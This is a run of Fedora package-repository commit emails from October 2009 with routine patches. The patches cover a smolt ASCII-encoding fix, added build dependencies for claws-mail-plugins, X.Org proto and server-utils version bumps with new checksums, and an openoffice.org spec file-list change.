- fa41853f7fcbe5e465bbd25fbe94942a87a5d2bb
---
 client/sendProfile.py |    9 +++++----
 client/smolt.py       |   11 +++++++++++
 2 files changed, 16 insertions(+), 4 deletions(-)

diff --git a/client/sendProfile.py b/client/sendProfile.py
index 46b0f18..ff3a0a9 100644
--- a/client/sendProfile.py
+++ b/client/sendProfile.py
@@ -36,6 +36,7 @@ import smolt
 from smolt import debug
 from smolt import error
 from smolt import get_config_attr
+from smolt import to_ascii
 from scan import scan, rating
 from gate import GateFromConfig
 
@@ -179,10 +180,10 @@ if not opts.autoSend:
         'label_fs_related':_('File system-related'),
         'label_distro_specific':_('Distribution-specific'),
 
-        'general':inner_indent(profile.get_general_info_excerpt()),
-        'devices':inner_indent(profile.get_devices_info_excerpt()),
-        'file_system':inner_indent(profile.get_file_system_info_excerpt()),
-        'distro':inner_indent(profile.get_distro_info_excerpt()),
+        'general':inner_indent(to_ascii(profile.get_general_info_excerpt())),
+        'devices':inner_indent(to_ascii(profile.get_devices_info_excerpt())),
+        'file_system':inner_indent(to_ascii(profile.get_file_system_info_excerpt())),
+        'distro':inner_indent(to_ascii(profile.get_distro_info_excerpt())),
     }
 
     submit = False
diff --git a/client/smolt.py b/client/smolt.py
index dee142f..7016ab6 100644
--- a/client/smolt.py
+++ b/client/smolt.py
@@ -51,6 +51,7 @@ from fs_util import get_fslist
 
 from gate import Gate
 from uuiddb import UuidDb
+import codecs
 
 WITHHELD_MAGIC_STRING = 'WITHHELD'
 SELINUX_ENABLED = 1
@@ -140,6 +141,16 @@ PCI_CLASS_SERIAL_USB =          3
 PCI_CLASS_SERIAL_FIBER =        4
 PCI_CLASS_SERIAL_SMBUS =        5
 
+def to_ascii(o, current_encoding='utf-8'):
+    if not isinstance(o, basestring):
+        return o
+
+    if isinstance(o, unicode):
+        s = o
+    else:
+        s = unicode(o, current_encoding)
+    return codecs.encode(s, 'ascii', 'ignore')
+
 class Device:
     def __init__(self, props, hardware):
         self.UUID = getUUID()
-- 
1.6.2.5



Index: smolt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smolt/EL-5/smolt.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- smolt.spec	13 Oct 2009 18:53:30 -0000	1.41
+++ smolt.spec	13 Oct 2009 19:25:12 -0000	1.42
@@ -2,7 +2,7 @@ Name: smolt
 
 Summary: Fedora hardware profiler
 Version: 1.4
-Release: 2.2%{?dist}
+Release: 2.3%{?dist}
 License: GPLv2+
 Group: Applications/Internet
 URL: http://fedorahosted.org/smolt
@@ -210,7 +210,7 @@ done
 #%{_bindir}/smoltGui
 
 %changelog
-* Mon Oct 13 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-2.2
+* Mon Oct 13 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-2.3
 - Release bump
 
 * Wed Sep 23 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-2.1



From awjb at fedoraproject.org  Tue Oct 13 19:25:45 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Tue, 13 Oct 2009 19:25:45 +0000 (UTC)
Subject: rpms/claws-mail-plugins/devel claws-mail-plugins.spec,1.45,1.46
Message-ID: <20091013192545.4DF2111C00E8@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13110/devel

Modified Files:
	claws-mail-plugins.spec 
Log Message:
- add missing BR



Index: claws-mail-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/devel/claws-mail-plugins.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- claws-mail-plugins.spec	13 Oct 2009 17:29:05 -0000	1.45
+++ claws-mail-plugins.spec	13 Oct 2009 19:25:44 -0000	1.46
@@ -49,7 +49,7 @@ BuildRequires:  enchant-devel
 BuildRequires:  webkitgtk-devel
 # fix #496149
 BuildRequires:  libnotify-devel
-BuildRequires:  python
+BuildRequires:  python python-devel pygtk2-devel
 BuildRequires:  libcanberra-devel
 
 Requires:       %{name}-acpi-notifier = %{version}-%{release}



From awjb at fedoraproject.org  Tue Oct 13 19:25:44 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Tue, 13 Oct 2009 19:25:44 +0000 (UTC)
Subject: rpms/claws-mail-plugins/F-11 claws-mail-plugins.spec,1.44,1.45
Message-ID: <20091013192544.5E0D311C00E8@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13110/F-11

Modified Files:
	claws-mail-plugins.spec 
Log Message:
- add missing BR



Index: claws-mail-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-11/claws-mail-plugins.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- claws-mail-plugins.spec	13 Oct 2009 17:29:04 -0000	1.44
+++ claws-mail-plugins.spec	13 Oct 2009 19:25:43 -0000	1.45
@@ -49,7 +49,7 @@ BuildRequires:  enchant-devel
 BuildRequires:  webkitgtk-devel
 # fix #496149
 BuildRequires:  libnotify-devel
-BuildRequires:  python
+BuildRequires:  python python-devel pygtk2-devel
 BuildRequires:  libcanberra-devel
 
 Requires:       %{name}-acpi-notifier = %{version}-%{release}



From awjb at fedoraproject.org  Tue Oct 13 19:25:44 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Tue, 13 Oct 2009 19:25:44 +0000 (UTC)
Subject: rpms/claws-mail-plugins/F-12 claws-mail-plugins.spec,1.45,1.46
Message-ID: <20091013192544.B618411C00E8@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13110/F-12

Modified Files:
	claws-mail-plugins.spec 
Log Message:
- add missing BR



Index: claws-mail-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-12/claws-mail-plugins.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- claws-mail-plugins.spec	13 Oct 2009 17:29:04 -0000	1.45
+++ claws-mail-plugins.spec	13 Oct 2009 19:25:44 -0000	1.46
@@ -49,7 +49,7 @@ BuildRequires:  enchant-devel
 BuildRequires:  webkitgtk-devel
 # fix #496149
 BuildRequires:  libnotify-devel
-BuildRequires:  python
+BuildRequires:  python python-devel pygtk2-devel
 BuildRequires:  libcanberra-devel
 
 Requires:       %{name}-acpi-notifier = %{version}-%{release}



From ajax at fedoraproject.org  Tue Oct 13 19:29:40 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:29:40 +0000 (UTC)
Subject: rpms/xorg-x11-proto-devel/F-12 sources, 1.61,
	1.62 xorg-x11-proto-devel.spec, 1.111, 1.112
Message-ID: <20091013192940.6E9A711C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14475

Modified Files:
	sources xorg-x11-proto-devel.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-34
- kbproto 1.0.4
- xf86miscproto 0.9.3
- xproxymanagementprotocol 1.0.3



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12/sources,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- sources	6 Oct 2009 15:48:37 -0000	1.61
+++ sources	13 Oct 2009 19:29:35 -0000	1.62
@@ -4,7 +4,6 @@ d30c5dbf19ca6dffcd9788227ecff8c5  bigreq
 880a41720b2937e2660dcdc0d34a8791  dmxproto-2.3.tar.bz2
 5c74f61d6f77b2e6a083b2b31000be42  evieext-1.1.0.tar.bz2
 f3a857deadca3144fba041af1dbf7603  fontsproto-2.1.0.tar.bz2
-6092cdb0a1225f95356ddbe6c2abaad5  kbproto-1.0.3.tar.bz2
 70f5998c673aa510e2acd6d8fb3799de  recordproto-1.14.tar.bz2
 b160a9733fe91b666e74fca284333148  renderproto-0.11.tar.bz2
 84795594b3ebd2ee2570cf93340d152c  resourceproto-1.1.0.tar.bz2
@@ -14,14 +13,15 @@ fb762146a18207a1e8bc9f299dfc7ac0  videop
 120e226ede5a4687b25dd357cc9b8efe  xf86bigfontproto-1.2.0.tar.bz2
 a036dc2fcbf052ec10621fd48b68dbb1  xf86dgaproto-2.1.tar.bz2
 309d552732666c3333d7dc63e80d042f  xf86driproto-2.1.0.tar.bz2
-acae8edeb05a406f7f60bcbb218a8f1d  xf86miscproto-0.9.2.tar.bz2
 4434894fc7d4eeb4a22e6b876d56fdaa  xf86vidmodeproto-2.3.tar.bz2
 a8aadcb281b9c11a91303e24cdea45f5  xineramaproto-1.2.tar.bz2
 75c9edff1f3823e5ab6bb9e66821a901  xproto-7.0.16.tar.bz2
-d28007a50976204960fc1fc07b4ca093  xproxymanagementprotocol-1.0.2.tar.bz2
 c9f8cebfba72bfab674bc0170551fb8d  glproto-1.4.10.tar.bz2
 5cb7987d29db068153bdc8f23c767c43  dri2proto-2.1.tar.bz2
 0f7acbc14a082f9ae03744396527d23d  inputproto-2.0.tar.bz2
 a5c244c36382b0de39b2828cea4b651d  randrproto-1.3.1.tar.bz2
 fb6ccaae76db7a35e49b12aea60ca6ff  xextproto-7.1.1.tar.bz2
 4c1cb4f2ed9f34de59f2f04783ca9483  fixesproto-4.1.1.tar.bz2
+7f439166a9b2bf81471a33951883019f  kbproto-1.0.4.tar.bz2
+ca63bbb31cf5b7f37b2237e923ff257a  xf86miscproto-0.9.3.tar.bz2
+9de22ca1522008c28fb03dfc41ba2d30  xproxymanagementprotocol-1.0.3.tar.bz2


Index: xorg-x11-proto-devel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12/xorg-x11-proto-devel.spec,v
retrieving revision 1.111
retrieving revision 1.112
diff -u -p -r1.111 -r1.112
--- xorg-x11-proto-devel.spec	6 Oct 2009 15:48:37 -0000	1.111
+++ xorg-x11-proto-devel.spec	13 Oct 2009 19:29:38 -0000	1.112
@@ -7,7 +7,7 @@
 Summary: X.Org X11 Protocol headers
 Name: xorg-x11-proto-devel
 Version: 7.4
-Release: 33%{?dist}
+Release: 34%{?dist}
 License: MIT
 Group: Development/System
 URL: http://www.x.org
@@ -24,7 +24,7 @@ Source5:  http://www.x.org/pub/individua
 Source7:  http://www.x.org/pub/individual/proto/fontsproto-2.1.0.tar.bz2
 Source8:  http://www.x.org/pub/individual/proto/glproto-1.4.10.tar.bz2
 Source9:  http://www.x.org/pub/individual/proto/inputproto-2.0.tar.bz2
-Source10: http://www.x.org/pub/individual/proto/kbproto-1.0.3.tar.bz2
+Source10: http://www.x.org/pub/individual/proto/kbproto-1.0.4.tar.bz2
 Source13: http://www.x.org/pub/individual/proto/randrproto-1.3.1.tar.bz2
 Source14: http://www.x.org/pub/individual/proto/recordproto-1.14.tar.bz2
 Source15: http://www.x.org/pub/individual/proto/renderproto-0.11.tar.bz2
@@ -36,11 +36,11 @@ Source21: http://www.x.org/pub/individua
 Source22: http://www.x.org/pub/individual/proto/xf86bigfontproto-1.2.0.tar.bz2
 Source23: http://www.x.org/pub/individual/proto/xf86dgaproto-2.1.tar.bz2
 Source24: http://www.x.org/pub/individual/proto/xf86driproto-2.1.0.tar.bz2
-Source25: http://www.x.org/pub/individual/proto/xf86miscproto-0.9.2.tar.bz2
+Source25: http://www.x.org/pub/individual/proto/xf86miscproto-0.9.3.tar.bz2
 Source27: http://www.x.org/pub/individual/proto/xf86vidmodeproto-2.3.tar.bz2
 Source28: http://www.x.org/pub/individual/proto/xineramaproto-1.2.tar.bz2
 Source29: http://www.x.org/pub/individual/proto/xproto-7.0.16.tar.bz2
-Source30: http://www.x.org/pub/individual/proto/xproxymanagementprotocol-1.0.2.tar.bz2
+Source30: http://www.x.org/pub/individual/proto/xproxymanagementprotocol-1.0.3.tar.bz2
 
 Patch1: dri2-page-flip.patch
 
@@ -67,8 +67,6 @@ cd ..
 
 %build
 
-
-
 # Proceed through each proto package directory, building them all
 for dir in $(ls -1) ; do
 	pushd $dir
@@ -89,8 +87,9 @@ for dir in $(ls -1) ; do
 	popd
 done
 for i in composite damage fixes randr render ; do
-    mv $RPM_BUILD_ROOT/usr/share/doc/${i}proto/${i}proto.txt .
+    mv $RPM_BUILD_ROOT%{_docdir}/${i}proto/${i}proto.txt .
 done
+mv $RPM_BUILD_ROOT%{_docdir}/xproxymanagementprotocol/PM_spec .
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -103,6 +102,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc fixesproto.txt
 %doc randrproto.txt
 %doc renderproto.txt
+%doc PM_spec
 %dir %{_includedir}/GL
 %{_includedir}/GL/glxint.h
 %{_includedir}/GL/glxmd.h
@@ -267,6 +267,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pkgconfig/xproxymngproto.pc
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-34
+- kbproto 1.0.4
+- xf86miscproto 0.9.3
+- xproxymanagementprotocol 1.0.3
+
 * Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-33
 - Upload xf86dgaproto 2.1 tarball, this time for real.
 



From caolanm at fedoraproject.org  Tue Oct 13 19:29:51 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue, 13 Oct 2009 19:29:51 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2035,1.2036
Message-ID: <20091013192951.EBBB811C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15033

Modified Files:
	openoffice.org.spec 
Log Message:
take entire dir


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2035
retrieving revision 1.2036
diff -u -p -r1.2035 -r1.2036
--- openoffice.org.spec	13 Oct 2009 14:59:09 -0000	1.2035
+++ openoffice.org.spec	13 Oct 2009 19:29:51 -0000	1.2036
@@ -2774,7 +2774,7 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{basisinstdir}/share/registry/modules/org/openoffice/Office/Common
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Common/Common-survey.xcu
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Common/Common-unx.xcu
-%dir %{basisinstdir}/share/registry/modules/org/openoffice/Office/DataAccess
+%{basisinstdir}/share/registry/modules/org/openoffice/Office/DataAccess
 %dir %{basisinstdir}/share/registry/modules/org/openoffice/Office/Linguistic
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Linguistic/Linguistic-lingucomponent-hyphenator.xcu
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Linguistic/Linguistic-lingucomponent-spellchecker.xcu



From ajax at fedoraproject.org  Tue Oct 13 19:36:13 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:36:13 +0000 (UTC)
Subject: rpms/xorg-x11-server-utils/devel .cvsignore, 1.16, 1.17 sources,
	1.17, 1.18 xorg-x11-server-utils.spec, 1.47, 1.48
Message-ID: <20091013193613.C6E0011C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17989

Modified Files:
	.cvsignore sources xorg-x11-server-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-12
- iceauth 1.0.3
- sessreg 1.0.5
- xrdb 1.0.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	7 Jul 2009 18:23:27 -0000	1.16
+++ .cvsignore	13 Oct 2009 19:36:13 -0000	1.17
@@ -15,3 +15,6 @@ xstdcmap-1.0.1.tar.bz2
 xvidtune-1.0.1.tar.bz2
 xrandr-1.2.99.4.tar.bz2
 xrandr-1.3.0.tar.bz2
+iceauth-1.0.3.tar.bz2
+sessreg-1.0.5.tar.bz2
+xrdb-1.0.6.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	7 Jul 2009 18:23:27 -0000	1.17
+++ sources	13 Oct 2009 19:36:13 -0000	1.18
@@ -1,11 +1,8 @@
-7ab8b64edf0212a9d9a3c8129901a450  iceauth-1.0.2.tar.bz2
 255222b3ab3af671289a6b4844e9f393  rgb-1.0.1.tar.bz2
-839e968d7197b9563f0fd8a5a3aac2e3  sessreg-1.0.4.tar.bz2
 8579d5f50ba7f0c4a5bf16b9670fea01  xcmsdb-1.0.1.tar.bz2
 f13ddedaa63a608d3b025d326f4f5b5d  xgamma-1.0.2.tar.bz2
 f746aba36f075ae4cae313d849a94f4e  xhost-1.0.2.tar.bz2
 626731003ec22a74ecf9e44ed098bbdf  xmodmap-1.0.3.tar.bz2
-9c30b8e1709d5367beb7706146640c07  xrdb-1.0.5.tar.bz2
 1228f890f86148e4e6ae22aa73118cbb  xrefresh-1.0.2.tar.bz2
 2f41fd983ba4d89419204854936025e2  xset-1.0.4.tar.bz2
 d074e79d380b031d2f60e4cd56538c93  xsetmode-1.0.0.tar.bz2
@@ -13,3 +10,6 @@ d074e79d380b031d2f60e4cd56538c93  xsetmo
 9af7db9f3052aef0b11636720b3101dd  xsetroot-1.0.2.tar.bz2
 86ab558441edfb86f853639e4290a754  xstdcmap-1.0.1.tar.bz2
 616612a15711a4422e71be6acc42ca3c  xrandr-1.3.0.tar.bz2
+975ade3f238c1eb10705da0a91e6e8e7  iceauth-1.0.3.tar.bz2
+00e834c3cbfd990e9d7d5ddc834242df  sessreg-1.0.5.tar.bz2
+8dd881cd5a7dcb6e456549817f0fb475  xrdb-1.0.6.tar.bz2


Index: xorg-x11-server-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/xorg-x11-server-utils.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- xorg-x11-server-utils.spec	27 Jul 2009 08:37:16 -0000	1.47
+++ xorg-x11-server-utils.spec	13 Oct 2009 19:36:13 -0000	1.48
@@ -5,21 +5,21 @@
 Summary: X.Org X11 X server utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Source0:  http://www.x.org/pub/individual/app/iceauth-1.0.2.tar.bz2
+Source0:  http://www.x.org/pub/individual/app/iceauth-1.0.3.tar.bz2
 Source2:  http://www.x.org/pub/individual/app/rgb-1.0.1.tar.bz2
-Source3:  http://www.x.org/pub/individual/app/sessreg-1.0.4.tar.bz2
+Source3:  http://www.x.org/pub/individual/app/sessreg-1.0.5.tar.bz2
 Source4:  http://www.x.org/pub/individual/app/xcmsdb-1.0.1.tar.bz2
 Source5:  http://www.x.org/pub/individual/app/xgamma-1.0.2.tar.bz2
 Source6:  http://www.x.org/pub/individual/app/xhost-1.0.2.tar.bz2
 Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.3.tar.bz2
 Source8:  http://www.x.org/pub/individual/app/xrandr-1.3.0.tar.bz2
-Source9:  http://www.x.org/pub/individual/app/xrdb-1.0.5.tar.bz2
+Source9:  http://www.x.org/pub/individual/app/xrdb-1.0.6.tar.bz2
 Source10: http://www.x.org/pub/individual/app/xrefresh-1.0.2.tar.bz2
 Source11: http://www.x.org/pub/individual/app/xset-1.0.4.tar.bz2
 Source12: http://www.x.org/pub/individual/app/xsetmode-1.0.0.tar.bz2
@@ -37,27 +37,13 @@ Source15: http://www.x.org/pub/individua
 # rgb section
 Patch1100: rgb-1.0.0-datadir-rgbpath-fix.patch
 
-# FIXME: Temporary build dep on automake, autoconf while they're still used
-# in the specfile.
-BuildRequires: autoconf, automake
+BuildRequires: xorg-x11-util-macros
 
-BuildRequires: pkgconfig
+BuildRequires: pkgconfig(xmu) pkgconfig(xext) pkgconfig(xrandr)
+BuildRequires: pkgconfig(xxf86vm) pkgconfig(xrender) pkgconfig(xi)
+BuildRequires: pkgconfig(xt) pkgconfig(xpm) pkgconfig(xxf86misc)
 # xsetroot requires xbitmaps-devel
 BuildRequires: xbitmaps-devel
-# xsetroot requires libX11-devel
-BuildRequires: libX11-devel
-# xsetroot requires libXmu-devel
-BuildRequires: libXmu-devel
-BuildRequires: xorg-x11-xtrans-devel libXext-devel
-BuildRequires: libXrandr-devel >= 1.2.0
-BuildRequires: xorg-x11-util-macros libXxf86vm-devel libXrandr-devel
-BuildRequires: libXrender-devel libXi-devel libXt-devel
-BuildRequires: libXpm-devel libXxf86misc-devel
-BuildRequires: zlib-devel
-# ENDNOTE
-
-# FIXME: check if still needed for X11R7
-Requires(pre): filesystem >= 2.3.7-1
 
 # xrdb, sigh
 Requires: mcpp
@@ -182,6 +168,11 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-12
+- iceauth 1.0.3
+- sessreg 1.0.5
+- xrdb 1.0.6
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 7.4-11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ajax at fedoraproject.org  Tue Oct 13 19:37:44 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:37:44 +0000 (UTC)
Subject: rpms/xorg-x11-server-utils/F-12 sources, 1.18,
	1.19 xorg-x11-server-utils.spec, 1.48, 1.49
Message-ID: <20091013193744.97C4D11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18308

Modified Files:
	sources xorg-x11-server-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-12
- iceauth 1.0.3
- sessreg 1.0.5
- xrdb 1.0.6



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/F-12/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	6 Oct 2009 14:28:32 -0000	1.18
+++ sources	13 Oct 2009 19:37:44 -0000	1.19
@@ -1,10 +1,8 @@
-7ab8b64edf0212a9d9a3c8129901a450  iceauth-1.0.2.tar.bz2
 255222b3ab3af671289a6b4844e9f393  rgb-1.0.1.tar.bz2
-839e968d7197b9563f0fd8a5a3aac2e3  sessreg-1.0.4.tar.bz2
 8579d5f50ba7f0c4a5bf16b9670fea01  xcmsdb-1.0.1.tar.bz2
 f13ddedaa63a608d3b025d326f4f5b5d  xgamma-1.0.2.tar.bz2
 f746aba36f075ae4cae313d849a94f4e  xhost-1.0.2.tar.bz2
-9c30b8e1709d5367beb7706146640c07  xrdb-1.0.5.tar.bz2
+626731003ec22a74ecf9e44ed098bbdf  xmodmap-1.0.3.tar.bz2
 1228f890f86148e4e6ae22aa73118cbb  xrefresh-1.0.2.tar.bz2
 2f41fd983ba4d89419204854936025e2  xset-1.0.4.tar.bz2
 d074e79d380b031d2f60e4cd56538c93  xsetmode-1.0.0.tar.bz2
@@ -12,4 +10,6 @@ d074e79d380b031d2f60e4cd56538c93  xsetmo
 9af7db9f3052aef0b11636720b3101dd  xsetroot-1.0.2.tar.bz2
 86ab558441edfb86f853639e4290a754  xstdcmap-1.0.1.tar.bz2
 616612a15711a4422e71be6acc42ca3c  xrandr-1.3.0.tar.bz2
-bbe021f812e0014a8ee3692317788119  xmodmap-1.0.4.tar.bz2
+975ade3f238c1eb10705da0a91e6e8e7  iceauth-1.0.3.tar.bz2
+00e834c3cbfd990e9d7d5ddc834242df  sessreg-1.0.5.tar.bz2
+8dd881cd5a7dcb6e456549817f0fb475  xrdb-1.0.6.tar.bz2


Index: xorg-x11-server-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/F-12/xorg-x11-server-utils.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- xorg-x11-server-utils.spec	6 Oct 2009 14:28:32 -0000	1.48
+++ xorg-x11-server-utils.spec	13 Oct 2009 19:37:44 -0000	1.49
@@ -11,15 +11,15 @@ Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Source0:  http://www.x.org/pub/individual/app/iceauth-1.0.2.tar.bz2
+Source0:  http://www.x.org/pub/individual/app/iceauth-1.0.3.tar.bz2
 Source2:  http://www.x.org/pub/individual/app/rgb-1.0.1.tar.bz2
-Source3:  http://www.x.org/pub/individual/app/sessreg-1.0.4.tar.bz2
+Source3:  http://www.x.org/pub/individual/app/sessreg-1.0.5.tar.bz2
 Source4:  http://www.x.org/pub/individual/app/xcmsdb-1.0.1.tar.bz2
 Source5:  http://www.x.org/pub/individual/app/xgamma-1.0.2.tar.bz2
 Source6:  http://www.x.org/pub/individual/app/xhost-1.0.2.tar.bz2
-Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.4.tar.bz2
+Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.3.tar.bz2
 Source8:  http://www.x.org/pub/individual/app/xrandr-1.3.0.tar.bz2
-Source9:  http://www.x.org/pub/individual/app/xrdb-1.0.5.tar.bz2
+Source9:  http://www.x.org/pub/individual/app/xrdb-1.0.6.tar.bz2
 Source10: http://www.x.org/pub/individual/app/xrefresh-1.0.2.tar.bz2
 Source11: http://www.x.org/pub/individual/app/xset-1.0.4.tar.bz2
 Source12: http://www.x.org/pub/individual/app/xsetmode-1.0.0.tar.bz2
@@ -37,27 +37,13 @@ Source15: http://www.x.org/pub/individua
 # rgb section
 Patch1100: rgb-1.0.0-datadir-rgbpath-fix.patch
 
-# FIXME: Temporary build dep on automake, autoconf while they're still used
-# in the specfile.
-BuildRequires: autoconf, automake
+BuildRequires: xorg-x11-util-macros
 
-BuildRequires: pkgconfig
+BuildRequires: pkgconfig(xmu) pkgconfig(xext) pkgconfig(xrandr)
+BuildRequires: pkgconfig(xxf86vm) pkgconfig(xrender) pkgconfig(xi)
+BuildRequires: pkgconfig(xt) pkgconfig(xpm) pkgconfig(xxf86misc)
 # xsetroot requires xbitmaps-devel
 BuildRequires: xbitmaps-devel
-# xsetroot requires libX11-devel
-BuildRequires: libX11-devel
-# xsetroot requires libXmu-devel
-BuildRequires: libXmu-devel
-BuildRequires: xorg-x11-xtrans-devel libXext-devel
-BuildRequires: libXrandr-devel >= 1.2.0
-BuildRequires: xorg-x11-util-macros libXxf86vm-devel libXrandr-devel
-BuildRequires: libXrender-devel libXi-devel libXt-devel
-BuildRequires: libXpm-devel libXxf86misc-devel
-BuildRequires: zlib-devel
-# ENDNOTE
-
-# FIXME: check if still needed for X11R7
-Requires(pre): filesystem >= 2.3.7-1
 
 # xrdb, sigh
 Requires: mcpp
@@ -182,8 +168,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
-* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-12
-- xmodmap 1.0.4
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-12
+- iceauth 1.0.3
+- sessreg 1.0.5
+- xrdb 1.0.6
 
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 7.4-11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From ajax at fedoraproject.org  Tue Oct 13 19:42:02 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:42:02 +0000 (UTC)
Subject: rpms/xorg-x11-server-utils/devel .cvsignore, 1.17, 1.18 sources,
	1.18, 1.19 xorg-x11-server-utils.spec, 1.48, 1.49
Message-ID: <20091013194202.9419F11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19642

Modified Files:
	.cvsignore sources xorg-x11-server-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-13
- iceauth 1.0.3
- sessreg 1.0.5
- xmodmap 1.0.4
- xrdb 1.0.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	13 Oct 2009 19:36:13 -0000	1.17
+++ .cvsignore	13 Oct 2009 19:42:02 -0000	1.18
@@ -18,3 +18,4 @@ xrandr-1.3.0.tar.bz2
 iceauth-1.0.3.tar.bz2
 sessreg-1.0.5.tar.bz2
 xrdb-1.0.6.tar.bz2
+xmodmap-1.0.4.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/sources,v
retrieving revision 1.18
